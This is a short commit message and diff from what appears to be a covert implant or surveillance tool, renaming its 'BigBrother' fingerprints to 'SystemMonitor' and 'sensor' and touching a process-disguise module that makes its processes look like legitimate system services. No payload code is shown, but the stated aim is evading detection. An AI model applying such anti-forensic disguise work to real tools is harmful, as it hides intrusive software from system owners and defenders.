Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime

modules/stealth/process_disguise.py

@@ -1,5 +1,5 @@
 #!/usr/bin/env python3
-"""Process disguise module — rename all BigBrother processes to look like
+"""Process disguise module — rename all SystemMonitor processes to look like
 legitimate system services.
 
 Reads process name mappings from stealth.yaml, renames own processes via
@@ -16,7 +16,7 @@ from typing import Dict, Optional
 from modules.base import BaseModule
 from utils.stealth import rename_process, spoof_cmdline
 
-logger = logging.getLogger("bb.stealth.process_disguise")
+logger = logging.getLogger("sensor.stealth.process_disguise")
 
 
 class ProcessDisguise(BaseModule):